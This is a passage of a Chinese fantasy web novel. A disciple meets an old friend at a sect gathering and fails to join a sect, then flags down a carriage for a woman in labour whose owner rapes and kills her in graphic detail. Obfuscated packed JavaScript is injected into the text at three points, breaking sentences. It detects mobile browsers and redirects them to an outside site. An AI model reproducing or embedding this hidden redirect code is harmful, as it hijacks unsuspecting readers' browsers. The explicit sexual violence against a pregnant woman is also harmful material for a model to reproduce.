纥奚时砚的目光先落在她光着的脚丫上,那双脚冻得通红,脚趾蜷缩着,显然是冷的。 他眉心几不可见地蹙了一下,随即又恢复了那副冷漠的神情,目光缓缓上移,落到她埋低的头顶上,深吸了一口气: “近些时日,你胆子越发大了,昔日本座罚你扫宫戒训,莫非尽数抛诸脑后了?” 景泽心下怦怦狂跳,声音发颤,不敢抬头:“徒儿铭记师尊教诲,片刻不敢忘怀,绝不敢有半分懈怠。” “铭记在心?” 纥奚时砚唇角勾起一抹凉薄冷笑,眸光微沉。 “依本座看来,你分明是心生异心,另有所图罢了。” 景泽心底茫然不解,自拜师入门以来,她早已收敛心性,谨守门规,一言一行无不恭谨守礼,何曾敢有半分异心?只得伏身回道:“徒儿愚钝,不解师尊所言何意,还望师尊明示指点。” 纥奚时砚琥珀色眼眸深处,灵光乍然一闪,居高临下睨视跪地之人,声线冷沉如冰:“你暗自思量,欲转投南宫苍梧门下,拜入其座下做关门弟子,此事,当真没有?” 一语落地,如惊雷贯耳,狠狠砸在景泽心头。 她脑中轰然一空,刹那间心神大乱。不过日前街市闲看一纸杂报,不过心底随口思忖了几句,这般细微心思,她未曾对旁人吐露半分,师尊如何竟能尽数知晓? 惊惧之下,她浑身剧烈一颤,急忙重重叩首:“徒儿绝无此心!师尊待我恩重如山,护我周全,传我道法,此生此世,我唯有师尊一位师长,绝无二心,更不会转投他人门下!恳请师尊明鉴!” 话音落罢,水榭之内寂然无声,唯有寒水轻漾,细碎水声悠悠回荡。 纥奚时砚伫立原地,沉默良久,久到景泽只觉周遭寒气愈发凛冽,几乎心神僵凝。 须臾,衣料轻响,他竟缓缓俯身,在她身前蹲下身来。 一只指节修长微凉的手掌探来,轻轻扣住她下颌,微微发力,不容抗拒,迫得她抬头仰面。 “抬眼直视本座,将方才所言,再说一遍。” 景泽被迫抬眸,撞入那双深邃琥珀瞳眸之中。那眸光凌厉如锋,洞彻心扉,她所有的隐秘想法,全被一眼看穿,无从藏匿。 她从未见过师尊这般神色,喉咙上下滚了滚。 纥奚时砚眉头微蹙,指尖稍一收紧:“说。” 景泽唇瓣微微发抖,声细如蚊蚋:“师尊待我恩重如山……” 纥奚时砚默然不语,眸光沉沉凝望着她。 景泽深吸一口气,强压下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17507622|202397||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心间恐惧,目光与他坦然相对。 “我此生只会是师尊一人之徒,永世不拜他人为师,请师尊放心。” 字字皆出自肺腑,半分虚假也无。 纥奚时砚静静凝望她半晌,冷漠眉眼之间,漾开一抹极淡极浅的弧度,转瞬即逝。 扣住下颌的手掌松开,转而轻柔落在她发顶,缓缓摩挲,动作温软,与方才冷厉模样判若两人。 “爱徒既有此心,本座便安心了。今日擅闯水榭之过,姑且既往不咎,饶你一次。” 话音落下,纥奚时砚的身体化作一团黑色雾气,在她身边缠绕了一瞬,随即被风吹散,融入琉霜水榭外的茫茫寒雾之中。 景泽浑身骨头一软,跌坐在地上,大口大口喘气,久久难以平复。 倏然睁眼,眼前寒宫冰榭尽数消散。 仙女姐姐正低头看着她,眉心微蹙,目光里满是担忧。 而她自己,正靠在仙女姐姐的肩上,两只手紧紧攥着仙女姐姐的衣袖,把那洁白的袖口攥得皱皱巴巴。 迎面对上仙女姐姐微蹙的眉头,景泽忽然觉得,那双眼睛竟与师尊冷冽的眸子重合了。 她的心猛地一缩,险些一口气没上来。 “吁——” 马车外传来车夫的声音,“两位姑娘,到天云山脚了。” 景泽猛地回过神,这才彻底清醒。眼前的人分明是仙女姐姐,哪里是什么师尊?她定是被那个梦吓糊涂了。 仙女姐姐小心翼翼地扶着她下了马车。景泽站稳之后,目光扫过仙女姐姐那被她抓得皱巴巴的衣袖,心里很过意不去,小声道:“姐姐,你的袖子……” “不碍事。”仙女姐姐温柔一笑,那笑容如春风拂面。 她伸手替景泽理了理被风吹乱的碎发,目光在她脸上停留了一瞬,“倒是你,出了这许多汗,是做噩梦了么?梦见了什么?能与我讲讲么?” 景泽摇了摇头。 不好的梦,她巴不得赶紧忘掉,哪有心思去回忆,更别提讲出来了。况且那梦里还有师尊,她总不能说,自己梦见师尊掐着她的下巴,逼她发誓不会改投他人门下吧? 景泽往前走了几步,停下来,抬头望去。 山峰巍峨高耸,直插云霄,天云宗山门便在那云雾缭绕山巅之上。山前小河环绕,碧水澄明,倒映两岸青山长空。河上横架白玉长桥,桥头直通山道,蜿蜒向上,没入云海深处。 山脚之下,人声鼎沸,热闹非凡。四海修士、八方商贾、闲散道人、俗世百姓云集于此,摩肩接踵,车马云集。或乘仙鹤凌空,或踏飞剑而行,或乘车舆代步,络绎不绝,皆是奔赴仙盟大会而来。 景泽目光漫过河面,忽的定格不动。 清波之上,漂着一叶破舟,舟上立着一个男子,男子衣衫灰旧粗陋,补丁遍布,正奋力摇桨,朝岸边缓缓靠拢。 嘶……那张脸好生眼熟啊。 景泽正自凝神辨认,身后仙女姐姐轻声道别: “前路至此,你我便要分道而行。我不入天云宗,往后山路崎岖,便只能妹妹独自前行了。” 景泽回过头,看着仙女姐姐那张温柔的脸,心中忽地涌起一阵不舍。 “多谢姐姐这一路的照顾款待。日后姐姐若有什么需要帮忙的,尽管来找我便是,我一定……” 话音未落,一道极其欠揍的声音飘进了景泽的耳朵里。 “嗨!景泽!好久不见!” 那声音又尖又亮,隔着老远都听得一清二楚。 景泽忙回头去看,只见那个划破船的寒酸男子已将小船靠了岸,正撒开腿往她这边跑,脸上满是兴奋,眼睛亮得像两颗星星,一边跑一边挥舞着手臂,嘴里还喊着:“景泽!景泽!是我啊!江染!你最爱的小宝贝!” 景泽看着那张越来越近的脸,终于认出了对方。 江染!她当年在海底沉渊宫的狐朋狗友之一! 乍见老友,景泽兴奋难言,冲上去便与江染抱在了一处。 “呜呜呜……你居然还没死呢!” 景泽抱着他又蹦又跳,眼眶都红了,若不是江染忽然出现,她都快忘了有这号人物了。 “你都没死,我怎能死!” 江染抱着她又哭又嚎,鼻涕眼泪糊了一脸,往景泽肩上蹭了蹭。 “景泽,我好想你啊!这些年你跑哪儿去了?我找了你许久许久!” “是吗?我这些年也是到处找你呢!” “呜呜呜!感动!我就知道我是你最爱的小宝贝!” “谁说不是,我的最爱的小宝贝只能是你,呜呜呜……” 二人正抱头痛哭,忽听风声响动,一道金锁自景泽身后飞出,快如闪电,噗地一声,已将江染拦腰锁住,吊上半空。 19. 宗师 那金锁倏地一收,江染只觉腰间似被一道铁箍猛然勒紧,闷哼一声,险些闭过气去。 景泽吓一跳,连忙朝仙女姐姐求情。 经她求情,金光旋即消散,江染身子一轻,扑通一声摔在尘埃里,跌了个嘴啃泥,弄得满口是土。 白衣仙女眼波冷冷在江染身上一转,又落到景泽那张满是焦急的小脸上,面色不悦。 “光天化日,山野当众,举止狎昵,成何体统!” 说罢转身便走,白衣飘飘,倏忽间便没入了茫茫人海之中,竟是一次也不曾回头。 景泽张了张嘴,想要喊一声“姐姐”,那两个字却似黏在了舌头上,怎么也说不出口。 她怔怔地立在原地,望那道白色身影渐行渐远,没来由地,心头涌上一阵空落落的惆怅。 这些日子,仙女姐姐待她不薄,她还没来得及道一声谢,人家便走了。 “别瞧了,人都走得没影了。” 江染从地上爬起来,龇牙咧嘴地揉着腰,一瘸一拐地凑过来。 “你那是什么眼神?舍不得?我跟你说,那女人可不是好惹的,咱们惹不起,躲得起,你的小宝贝还想多活几年呢。” 景泽收回目光,瞪了他一眼:“谁叫你一上来就搂搂抱抱的?活该。” “我那不是欢喜得紧么!” 江染嘴一瘪,委屈巴巴地道:“三年没见了,抱一下又怎地?再说了,我抱的是你,又不是她,她管得也太宽了,不是景泽,你身边怎么老是有这种怪脾气的人……” 景泽懒得跟他多费口舌,上下打量了他一眼,不由得皱起了眉头。 江染穿着一件灰扑扑的粗布袍子,上面打了少说也有七八个补丁,袖口磨得起了毛,山风一吹,呼啦啦地直飘。一头乱发用草绳胡乱扎着,脸上东一道西一道尽是黑灰。更惨的是左脚上的鞋破了个洞,大拇指露在外头,趾甲缝里嵌着黑泥。 “你怎么落得这般田地了?”景泽忍不住问道。 江染叹了口气,一屁股坐在路边石头上,倒起了苦水。 原来当年沉渊宫覆灭之后,他也莫名其妙地到了裂陆六城中的清州城,处境和景泽一模一样,周身灵脉被封,与凡人无异。那清州城虽比沧溟城繁华些,世道却也是一般的艰难。他流落了整整三年,睡过猪圈,翻过垃圾堆,跟叫花子抢过食,最惨的时候连着饿了五天五夜,险些没挺过来。 “这不,听说今年仙盟大会在天云宗办,我特特赶来,想蹭一顿饱饭吃。” 江染拍了拍瘪下去的肚子,嘿嘿笑了两声,露出几分没心没肺的惫懒。 景泽听得太阳穴突突直跳,斜眼睨他:“……你就这点出息?流落三年,就练出个蹭饭的本事?” 江染反唇相讥:“怎么?你难道不是来蹭饭的?别告诉我你是来主持公道匡扶正义的。” 景泽被噎得说不出话,“我跟你能一样么!” “哪儿不一样?” “就是不一样!” “你……!” …… 二人互损着上了天云山。 天云宗坐落在天云山巅,气势雄伟,恢宏之极,当真非比寻常。 山门以整块白玉雕成,高约十丈,山门两侧各立一尊石麒麟,栩栩如生,穿过山门,是一条宽阔的青石大路,两侧苍松翠柏,遮天蔽日,树下摆着各色花卉,香气馥郁,沁人心脾。 大路尽头便是仙盟大会的主会场天云广场。 那广场大得一眼望不到边,地面铺着整齐的汉白玉砖,光可鉴人,蓝天白云、各色旗幡倒映其中,历历可见。 广场四周插满了彩旗,旗上绣着六大宗门的徽记,有长歌宗的仙鹤、离悲宗的罗盘、踏山宗的长剑、无情宗的药鼎、济世宗的莲花、天云宗的星辰,山风过处,猎猎作响。 四海八荒之内,各路修士、商界巨贾、寻常百姓尽数奔赴至此,人头攒动,摩肩接踵,喧嚣声此起彼伏,偌大广场挤得水泄不通。 最引人注目的,是广场正前方高台上摆着的七把金丝楠木大椅。那是为仙盟盟主以及六大宗门宗主预备的席位,每一把都雕着精致的花纹,铺着上等的锦缎坐垫,扶手上嵌着各色宝石,华贵非凡。 椅子后头,各宗弟子整齐列队,统一着装,气势如虹。 长歌宗的弟子着月白色长袍,腰束墨色带子,个个精神抖擞;离悲宗的弟子穿青色道袍,手持拂尘,仙风道骨;踏山宗的弟子一色玄色劲装,背负长剑,英气逼人;无情宗的弟子穿赭红色衣袍,袖口绣着药草纹样,温文尔雅;济世宗的弟子一水儿的湖蓝长裙,乌发如云,宛若仙子下凡;天云宗的弟子则着黑袍,上缀银星,神秘莫测。 每宗弟子少说也有上百人,伺候在各自宗主左右,端茶倒水、打扇撑伞、捧着拂尘佩剑,排场大得惊人。尤其是仙盟盟主南宫苍梧所在的区域,单是替他捧剑的弟子便有八个,个个都是一等一的高手。 江染凑到景泽耳边,压低声音道:“你瞧那些宗主,一个个锦衣华服,前呼后拥,光是伺候的人便有几十个,好大的架子。” 景泽顺着他的目光望去,只见六位宗主和一位盟主已陆续入座。 居中的是仙盟盟主南宫苍梧,瞧上去不过二十出头年纪,实则已有数百岁年龄。一袭素白长袍,外罩银丝鹤氅,头戴白玉冠,面如冠玉,眉目清隽,往那里一坐,便似与天地融为一体,教人不敢直视。 他左边是天云宗宗主江诫,瞧着不过二十七八的年纪,一身玄色镶银边的劲装衬得身姿挺拔如松。剑眉星目,鼻梁高挺,明明是一张俊朗无俦的少年脸,眼神却深如寒潭,带着久居上位的疏离与威严,叫人不敢轻易直视。 再往左是济世宗宗主尉迟怀仁,一位白发苍苍的老者,手持拂尘,仙风道骨,双目炯炯有神,仿佛能看穿世间一切迷障。 右手边是踏山宗宗主祝无尘,身材微胖,面容和善,笑吟吟的像一尊弥勒佛,可那双眼睛里的精光,却教人不敢小觑。 再往右是无情宗宗主东方遥卿,一位年轻美貌的女子,一袭湖蓝道袍,乌发如云,举手投足间英姿飒爽,带着一股凛然不可侵犯的威仪。 最边上的两位,一位是离悲宗宗主高震,身材魁梧,面容冷峻,一双鹰目扫视全场,目光所及,众人无不低头。 另一位位是长歌宗宗主周道海,身穿藏青道袍,腰束黑色革带,面容刚毅,眉宇间透着一股正气。 午宴设在广场两侧的偏殿里,摆了数百桌,每桌上都铺着大红绸子,摆满了山珍海味。 景泽和江染不过是来蹭饭的普通凡人,只能坐在最最最最边角落的位子上。 位子虽偏,菜肴却半点也不含糊,清蒸鲈鱼、红烧肘子、酱香排骨、糖醋里脊、烤全羊、烤乳猪、佛跳墙、燕窝粥……一道道佳肴免费端将上来,香气四溢。 景泽本以为自己已经够馋的了,待见到江染的吃相,方知甚么叫作“人外有人,天外有天”。 短短一炷香的工夫,江染竟已吃掉了十五只烤乳猪! 那些烤乳猪每只都有脸盆大小,皮烤得金黄酥脆,里面的肉鲜嫩多汁,江染一手抓一只,左右开弓,啃得满嘴流油,骨头在面前堆成了一座小山。 周围几桌的人都看呆了,纷纷窃窃私语: “嘶……那是谁啊?这是多久没吃饭了?怕不是从乱葬岗爬出来的?” “十五只烤乳猪!我活了三百年,从没见过有人这么吃席!” “你看他吃相,跟几辈子没见过荤腥似的,也不怕撑破肚子?” “小声点!别被他听见了!看他那架势,怕不是个惹不起的主儿?” “啧啧,仙盟大会的宴席,倒成了他一个人的饭堂了!” 景泽用慈祥的眼神看着他,叹了口气,关心爱护道:“小宝贝儿,你慢着些儿!可别撑死了!你还没报答我的救命之恩呢!” 江染充耳不闻,吃得几乎忘我。 景泽摇了摇头,将自己盘里还没动过的烤乳猪默默推到他面前。 “你吃罢,我饱了。” “这就饱了?” 江染抬起头来,望了她一眼,含糊不清地说了句“多谢”,随即又埋头苦干起来。 到得最后,江染一个人吃掉了十八只烤乳猪、三只烤全羊、两只烧鹅、一条清蒸鲈鱼、两盘酱牛肉、一碗佛跳墙、三碗燕窝粥,外加一笼水晶虾饺。 景泽见他打着饱嗝,这才凑上去,试探着问道:“你想不想顿顿都有这么多好吃的?” 江染挑了挑眉:“你想让我拜师?” 不愧是一起长大的狐朋狗友,心意一点就通,她原本是想自己拜师的,自打做了那个可怕的噩梦后,直接放弃了。 景泽的目光从那些高坐台上的宗主们身上一扫而过,循循善诱道: “这些宗主,个个都不是等闲之辈,法力高深。你若是能拜入他们门下,不光能解决温饱,还能学得一身本事傍身。到那时候,谁也不能欺负你了。怎么,心不心动?” 就凭江染同她的关系,她拜还是江染拜,都没什么区别,江染富贵了,自然不可能忘了她。 江染眉头皱了皱,似是十分纠结。半晌,方反问道:“有这等好事,你怎的不去?我不管,要拜师咱俩一块儿去。” 景 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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江染见她久久沉默不语,只当她仍在犹豫,继续劝道:“景泽,你好好想一想,三年寒暑,你师尊杳无音信,不曾寻你,不曾托人捎来只言片语,心中可有你半分位置,你自有分寸。你何苦死守一个虚无缥缈的师门名分,蹉跎自身光阴?你我此番只是拜师学艺,并非背叛旧师门,来日若有幸寻回你师尊,再回归旧门便是,两全其美,有何不可?” 景泽咬了咬牙,江染的话不无道理,师尊三年不曾露面,只怕真的已经把她忘了,她守着一个虚名,又有什么意思? “好。”她终于点了点头,“那便去试试。” 午宴过后,二人悄悄打听了一番,得知长歌宗宗主周道海已被弟子们护送到东边的客房歇息去了。 两人对视一眼,悄悄跟了上去。 长歌宗的客房在天云宗东边一座独立的院落里,四下里古木参天,环境清幽。 院门口站着两名弟子,见有人靠近,立时伸手拦阻: “站住!此处是长歌宗宗主歇息之地,闲杂人等不得靠近!” 景泽和江连忙行礼:“两位道长,我们有要事求见周宗主,烦请通报一声。” 那两名弟子上下打量了他们一眼,一个瘦得皮包骨头,一个穿得破破烂烂,怎么看也不像有什么“要事”的人。 “宗主正在歇息,不见外人,你们请回罢。” “道长,我们真有很要紧的事……” 景泽还要再说,院门忽然从里头打开了。 一个身材魁梧、面容刚毅的中年男子走了出来。他身着一件藏青道袍,腰束黑色革带,头发用一支玉簪束起,双目炯炯有神。正是长歌宗宗主周道海。 他的目光从那两名弟子身上扫过,又落在景泽和江染身上,只瞧了一眼,便大致猜到了二人的来意。 “让他们进来罢。” 弟子们忙让开道,景泽和江染受宠若惊,跟着周道海走进院中。 院子不大,却布置得极为雅致,一株古松斜斜伸出枝干,树下摆着一套石桌石凳,桌上放着一壶清茶,茶香袅袅。 周道海在石凳上坐下,示意他们也坐。景泽和江染对望一眼,不敢就坐,双双跪了下来,叩首道: “晚辈景泽。” “晚辈江染。” “久仰周宗主道法高深,德望传世,心向往之,今日专程前来,诚心恳请宗主收录我二人为门下弟子,愿潜心修道,恪守门规,还望宗主慈悲成全! 周道海抬手缓缓端起青石案上茶杯,指尖轻拂杯沿,撇去浮起的茶沫,浅啜一口,茶香入喉,方才抬眼,不疾不徐缓缓开口: “你二人心意可嘉,只是修行大道,今时不同往日。如今天地灵气日渐枯竭,修行桎梏重重,修行难度,远超百年之前数千倍、数万倍不止。百年来,天下修士芸芸万千,却无一人得以破壁飞升,勘破大道圆满。你二人即便此生夙兴夜寐、苦修不辍,耗尽百年光阴,到头来,终究也难逃寿元耗尽、无法飞升的结局。这般前路无望、终无正果的修行,你二人,当真还要执意拜入我长歌宗门下,潜心修行吗么?” 20. 血色 景泽、江染二人行走世间,胸中既无凌云登仙之志,亦无斩魔问道之心。所求不过朝夕三餐温饱,习得几分傍身粗浅本事,足以安身立命,便已是心满意足,旁的修仙机缘、宗门荣宠,皆视作浮云流水,不值一顾。 当下二人便并肩俯身,对着周道海齐齐叩首: “我二人甘愿拜入宗门,潜心修行,谨遵门规,绝无二心。” 周道海目视眼前这两个瘦削少年,眼中多了几分温和之意,他微微颔首,探手而出,掌心中渐次浮起一团淡蓝光晕。 那光晕缓缓扩散开来,将景泽、江染二人笼罩其间。 一股柔和之力自头顶百会穴渗入,循经脉缓缓流遍四肢,那感觉舒适无比,仿佛浑身骨头都被熨帖了一遍,连日奔波之苦,登时消散了大半。 然片刻之后,周道海的眉头渐渐皱起。 那团淡蓝光晕开始明灭不定,忽强忽弱,仿佛在抗拒什么,周道海神色愈见凝重,似有几分不确定,遂加大灵力输出,再次探查二人灵根。 过了半晌,光晕消散了,周道海收回手掌,长长叹了口气。 他看着景泽与江染,目中颇有惋惜遗憾之色,沉吟良久,方缓缓道: “方才我以宗门禁法细探你二人灵根禀赋,奈何根骨禀赋孱弱至极,与仙道修行缘分浅薄,实非修道可塑之才。实在可惜,长歌宗法度森严,门中修行功法皆适配上乘灵根,恕我不能破例收录二位,二位不如往别处看看,或许其他宗门有更合宜的法门。” 景泽闻言,登时愣在原地。 她跪在地上,脑子里嗡嗡作响,灵根太差?想当年在海底沉渊宫时,她何等威风,灵根极佳,法术高强,打遍沉渊宫无敌手,连师尊都夸她天赋异禀。 怎么到了这里,就成了“灵根太差”?难道她不仅仅是灵脉被封,灵根也一起被封死了么? 江染却反应极快,早已从地上爬起,还伸手拉了景泽一把,笑嘻嘻地对周道海行了一礼: “多谢宗主指点,打扰了。” 周道海点了点头,转身进了内室。 江染拽着还在发愣的景泽出了院子,径向山下而去。 下山的路上,景泽闷闷不乐,江染倒是看得开,心情丝毫未受影响,反倒开导起她来:“别不开心了,咱俩不过是拜师不成罢了,换个念头想想,这一趟好歹吃饱喝足,也没白来,是不是?再说,你不是还有一位师尊么?虽说他眼下不知身在何方,但只要他还在人世,你们终究会再见的。” 景泽停下脚步,用一种“你吃饭时可不是这么说的”的眼神盯着他。 江染被她看得有些不自在,挠了挠头:“怎么?我那不是为你着想么?拜师不成,便回去找你师尊,方法总比困难多嘛。” 景泽懒得与他掰扯,她真正在意的,并非拜师不成,而是周道海那句“灵根太差”。 如今她灵脉被封,灵根又差,难道这辈子就只能做个手无缚鸡之力的凡人?那兄长的仇,又当如何? 她正出神间,江染忽然拉了拉她衣袖:“嗳,前面好像有人。” 二人已到山脚,天云山脚下是一片开阔平地,此时赴会之人正陆续散去,马车、行人、修士的飞剑交织在一起,尘土飞扬,熙熙攘攘,好不热闹。 景泽抬头望去,只见前方不远处,一个孕妇正扶着路边矮石,艰难地站着。 那妇人瞧来不过二十来岁,眉清目秀,相貌端正,肚子高高隆起,像是足月的光景,但她脸色白得骇人,额上满是汗水,嘴唇发抖,双腿也在发抖,整个人摇摇欲坠,仿佛随时都要倒下。 景泽正要上前,那孕妇忽然抬起头来,目光与她撞个正着。 “帮帮我……” 那孕妇声音又轻又哑,带着哭腔:“我……我好像要生了……” 景泽这才注意到,那妇人两腿之间不断有透明液体流出,顺着小腿往下淌,打湿了鞋面,又滴在地上。 是羊水破了。 景泽这辈子没生过孩子,却也知这意味着什么,孩子马上就要出来了,若不赶紧找人接生,大人孩子都有性命之忧。 她连忙拉着江染奔过去,一左一右扶住那孕妇,将她慢慢安置在路旁矮石上坐下,然后奔到路边,伸开双臂,拼命朝过往车辆挥手,欲拦下一辆马车,将孕妇载到城里的医馆去。 此时路过之人着实不少,大都是赴完仙盟大会回转的,各色马车一辆接一辆从她们面前驶过,有华贵的,朴素的、载货的、载客的。 景泽和江染站在路边,一辆一辆地拦,可那些马车,竟没有一辆肯停下来。 有的车夫朝她们摆摆手,加鞭催马,冲了过去;有的连看都不看,面无表情地扬长而去;还有的掀开帘子瞧了一眼,又“啪”地放下了,仿佛什么也没看见。 “咳咳……” 景泽被马车路过时溅起的尘土呛得直咳嗽。 她回头看了一眼,那孕妇脸色更白了,嘴唇已无血色,额上汗珠大颗大颗滚落,双手捂着肚子,疼得直抽气。 “这些人眼瞎了么?没见这里人命关天么?”景泽忍不住骂道。 江染站在她身旁,望着那些绝尘而去的马车,冷笑一声: “无非是事不关己,高高挂起罢了。景泽,也就是你心善,爱管闲事,若换作我,我怕是也不会停车去接济一个素不相识的孕妇。这世道人人都难,何必去道德绑架旁人?各人有各人的命。” 他说这话时,语气淡淡的,可目光却一直盯着那些远去的马车,眼底分明压着一丝不甘。 景泽听了这话,如同未闻,依旧自顾自地站在路边拦车。 江染这人,她又不是头一天认识,他嘴上说着“事不关己高高挂起”,可从跑来帮忙那刻起,他便已经“关己”了。 若真要与他计较,那便计较不完了。 江染见景泽一辆车也没拦下来,在她身后劝道:“傻子,别白费功夫了,不是所有人都跟你一样有……” “心”字尚未出口。 “吁——!!” 一辆马车在景泽面前猛地勒缰急停。 只见马蹄高高扬起,在空中蹬了两下,重重落下,车轮在尘土中滑出半尺余长的痕迹,险险便要撞上景泽。 景泽被吓得后退一步,心砰砰直跳。 这辆马车的排场着实不小,车身是上等紫檀木所造,雕花精美,四角悬着琉璃宫灯,车帘是墨绿云锦,上面绣着暗纹。拉车的两匹马通体乌黑,鬃毛油亮,额前缀着红缨,一望便知不是凡品。马车后面还跟着好几个随行护卫,个个虎背熊腰,腰佩长刀,目光如鹰,甚是剽悍。 坐在车辕上的车夫吓了一跳,脸色煞白,慌忙回头朝车厢里瞧了一眼,轿箱里坐着的那位,他可得罪不起。 幸好马车未翻,车夫虚惊一场。 他转过头来,见车下站着一个瘦巴巴的丫头,登时气不打一处来,指着她骂道: “找死么!你出门不长眼睛?这么大的马车看不见?” 说罢,他竟扬起长鞭,朝景泽身上抽了过去。 他本意是想吓唬那丫头,叫她知难而退,谁知那丫头竟不闪不避。 只听“啪”一声,皮鞭落下,景泽手臂上立刻浮起一道红痕,火辣辣地疼。 可她却咬着牙,既不叫喊,也不皱眉,眼下时间紧迫,好容易拦下一辆马车,万万不可错失良机,否则,那孕妇便没命了。 景泽忍着痛,拱手道:“大人,实在打扰了,能否搭个便车?家中姐姐快要生了,情况危急!” 话音落下,轿帘从里面被撩开了。 一个男人探出头来,此人瞧来三十岁左右,长相平平无奇,一只眼睛单,一只眼睛双,扔进人海里便找不出来的那种。下巴上有一道旧疤,像是被利器划过,缝了几针,歪歪扭扭的。要说他有什么特别之处,恐怕便是那一身衣裳了,墨绿锦袍,上绣金线云纹,腰间系着白玉革带,一看便知价值不菲。 那男人的目光从景泽身上扫过,又往前看去,目光在孕妇高高隆起的肚子上停了一瞬,眼底忽然闪过一丝奇异的光。 那光只一闪,便被他压了下去,随即对车夫吩咐道: “去,把那孕妇给我抬上来。” 景泽心中大喜,连忙拱手道谢:“多谢大人!多谢大人!” 几个护卫得了令,走上前去,几下便将那孕妇抬了起来,小心翼翼地送进轿箱之中。 景泽站在车旁,等着马车出发,可她等了一阵,马车却纹丝不动。 又等了一阵,车夫非但不扬鞭赶车,反倒从车辕上跳了下来,走到一旁,抱起胳膊。 景泽的心猛地一沉。 她与江染对视一眼,瞬间意识到不对,两人齐齐冲上前去,要查看轿箱里的情形。 四面八方忽然涌出好几个护卫,将他俩死死按住。 那些护卫力大如牛,一只手便将景泽和江染的胳膊反剪到背后,按着肩膀,逼他们跪在地上。 景泽咬牙挣扎了两下,肩膀被按得生疼,根本动弹不得。 紧接着,他们听见了轿箱里传来的声音,先是衣料撕扯之声,“嘶啦”一声,如裂帛帛,紧接着是孕妇惊恐的尖叫: “别过来!你要干什么!啊!不要、不……” “救命啊!救命啊!来人呐!啊!!” 那声音凄厉无比,每一声都带着颤抖与绝望,景泽浑身血液都凝固了。 然后是那男人的声音,透着一股说不出的兴奋: “宝贝儿,你怎么知道我喜欢孕妇?我好这口已经很久了……快让我尝尝你的滋味……” “别乱动!你信不信老子杀了你!” “啪、啪——”几记清脆的耳光,孕妇的哭喊变成了闷闷的呜咽,像是被什么东西捂住了嘴。 马车开始一前一后地摇晃起来,由于摇晃的幅度越来越大,车帘被颠得上下翻飞,隐约可见里面挣扎的身影。 “放开我!你们这群混蛋!畜生!” “放开我!你们会遭天谴的!” 景泽疯了似的挣扎,肩膀、手臂、膝盖在地上磨得生疼,却全然无济于事。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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彼时他的妻子躺在马车里,衣裳被撕扯得破烂不堪,头发散乱,脸上满是巴掌印和泪痕,眼睛半闭着,嘴唇已无血色。 “翠翠!翠翠!!” 蔡宇的眼珠子几乎要瞪出来,浑身血管像是要爆开,他的声音从嘶吼变成哭嚎,又从哭嚎变成野兽般的低吼: “畜生啊!杂种啊!我求求你了!放开她吧!她没有错啊!老天啊,你为何要如此待我蔡宇啊!大人我给你磕头,我给你磕头,你放过我妻吧!她没做错过任何事啊!你们做出如此丧尽天良的事,不怕遭天谴么!” 马车里的男人听到蔡宇骂自己,竟一点也不生气,他笑了笑,那笑容里带着一种说不出的变态满足。 只见他眼中掠过几分阴鸷之色,朝护卫使了个眼色,护卫们心领神会,将蔡宇从地上拖起来,揪住他的头发,把他的脸掰向马车。 帘子被彻底撩开了,里面的景象一览无余呈现在他眼前。 他要蔡宇看着,看着他的妻子是如何被他凌辱的,是如何被他操的,蔡宇脸上的表情越狰狞,他心里那点刺激感就越强烈。 侮辱一个男人很简单,侮辱他的妻儿就行了。 “看好了!” 蔡宇被人揪住头发,脸朝着轿箱里面,两只眼睛瞪得滚圆,蛛网般的血丝布满眼球。他想闭上眼睛,却闭不上,只能浑身颤抖看着眼前的景像。 马车继续摇晃,一下,又一下,幅度越来越大,越来越猛烈,粗鄙不堪的词一句接一句从男人口中传出来…… 孕妇初时还有喊叫,后来声音越来越弱,越来越轻,如同一盏油尽灯枯的灯,到了最后,再也听不到任何声音了。 那孕妇到底没能撑住,断了气,鲜血染红了马车,一路蔓延到蔡宇的膝盖。 “靠,吃什么长的,这么不经操!” 那男人到了最后,大抵是觉得没了兴致,便把尸身踹下了马车。 然后他整了整衣裳,又恢复了那副衣冠楚楚的模样,对车夫说了声“走吧”,便放下了帘子。 马蹄声嘚嘚嘚地远去,车轮碾过尘土,卷起一阵黄烟。 蔡宇从地上爬起来,爬到妻子身边,他的手在发抖,伸出去又缩回来,缩回来又伸出去,竟不知该如何触碰她。 他脱下自己那件打了补丁的外套,轻轻地盖在妻子身上,将妻子搂进怀里,哭了。 景泽站在一旁,看着蔡宇哭成这样,浑身止不住地发抖。 她脑子里一片空白,只有一句话反复回响: 是她拦下了那辆马车!是她亲手把那辆马车拦了下来!是她亲手把那孕妇送进了那恶魔的手里!若是她没有拦那辆车,孕妇便不会遭此劫难!若是她没有拦那辆车,孕妇或许能等到她丈夫到来! 若是她没有拦那辆车……景泽抬起手,狠狠打了自己好几巴掌。 一只手搭上了她的肩膀,是江染。江染叹了口气,低声道:“我知道你在想什么,你在怪自己,别这样,景泽,谁又能料到是这个结局?有些事本就是无解的,不帮不行,帮了也不行。咱们还是想想,怎么让那恶贼遭报应,你说对不对?” 江染朝她挑了挑眉,淡淡苦笑了下。 21. 梁上惊魂 裂陆六城,每座城池皆设六扇门,专司地方治安、民间诉讼,归城主府统辖。另有一处,名曰“仙察处”,专管妖兽鬼怪作乱之事,隶属仙盟。两处平级而立,各司其职,互不统属。 可这清州城的六扇门,早已名存实亡了。 此刻,蔡宇跪在大堂之中,五体投地叩伏于阶下,声音嘶哑,字字泣血:“门主大人!草民之妻被那恶贼凌辱至死,含冤而终!草民叩请门主秉公断案,擒拿凶徒,以正律法,还亡妻一世清白公道!” 话音未落,他俯身重重叩首。 